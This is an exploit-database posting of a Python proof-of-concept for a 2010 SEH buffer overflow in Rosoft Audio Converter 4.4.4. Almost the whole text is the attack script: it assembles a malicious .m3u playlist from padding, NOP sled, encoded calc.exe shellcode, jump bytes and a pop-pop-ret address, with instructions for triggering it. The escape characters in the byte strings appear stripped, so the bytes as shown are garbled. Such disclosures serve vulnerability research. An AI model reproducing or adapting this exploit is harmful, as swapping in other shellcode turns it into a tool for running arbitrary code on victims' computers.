rosoft444-overflow.txt
Posted on 16 June 2010
# Exploit Title: Rosoft Audio Converter 4.4.4 Buffer Overflow # Date: June 14, 2010 # Author: Blake # Software Link: http://www.rosoftengineering.com/freeware/RosoftAudioConverterFree.aspx # Version: 4.4.4 # Tested on: Windows XP SP3 / Windows 7 Home (change shellcode for Windows 7) # Instructions: create malicious file, open in audio converter, select save print " ============================" print "Rosoft Audio Converter 4.4.4" print " Written by Blake " print " Tested on Windows XP SP3 " print "============================ " # calc.exe sc =( "xebx03x59xebx05xe8xf8xffxffxffx4fx49x49x49x49x49" "x49x51x5ax56x54x58x36x33x30x56x58x34x41x30x42x36" "x48x48x30x42x33x30x42x43x56x58x32x42x44x42x48x34" "x41x32x41x44x30x41x44x54x42x44x51x42x30x41x44x41" "x56x58x34x5ax38x42x44x4ax4fx4dx4ex4fx4ax4ex46x44" "x42x30x42x50x42x30x4bx48x45x54x4ex43x4bx38x4ex47" "x45x50x4ax57x41x30x4fx4ex4bx58x4fx54x4ax41x4bx38" "x4fx45x42x42x41x50x4bx4ex49x44x4bx38x46x33x4bx48" "x41x50x50x4ex41x53x42x4cx49x59x4ex4ax46x58x42x4c" "x46x57x47x30x41x4cx4cx4cx4dx30x41x30x44x4cx4bx4e" "x46x4fx4bx53x46x55x46x32x46x50x45x47x45x4ex4bx58" "x4fx45x46x52x41x50x4bx4ex48x56x4bx58x4ex50x4bx44" "x4bx48x4fx55x4ex41x41x30x4bx4ex4bx58x4ex41x4bx38" "x41x50x4bx4ex49x48x4ex45x46x32x46x50x43x4cx41x33" "x42x4cx46x46x4bx38x42x44x42x53x45x38x42x4cx4ax47" "x4ex30x4bx48x42x44x4ex50x4bx58x42x37x4ex51x4dx4a" "x4bx48x4ax36x4ax30x4bx4ex49x50x4bx38x42x58x42x4b" "x42x50x42x50x42x50x4bx38x4ax36x4ex43x4fx45x41x53" "x48x4fx42x46x48x35x49x38x4ax4fx43x48x42x4cx4bx57" "x42x45x4ax36x42x4fx4cx38x46x30x4fx35x4ax46x4ax39" "x50x4fx4cx38x50x50x47x55x4fx4fx47x4ex43x46x41x46" "x4ex46x43x36x42x50x5a") buffer = "x41" * (4083 - len(sc)) nops = "x90" * 20 near_jmp = "xe8xf4xefxffxff" # jmp back next_seh = "xebxf9x90x90" seh = "xe7xb3x49x00" #Found pop eax - pop ebx - ret at 0x0049B3E7 [rosoftaudioconverterfree.exe] junk = "xCC" * 25000 print "[+] Creating malicious .m3u file" try: file = open("blake.m3u","w") file.write(buffer + nops + sc + near_jmp + next_seh + seh + junk) file.close() print "[+] File created" except: print "[x] Could not create file" raw_input(" Press any key to exit... ")
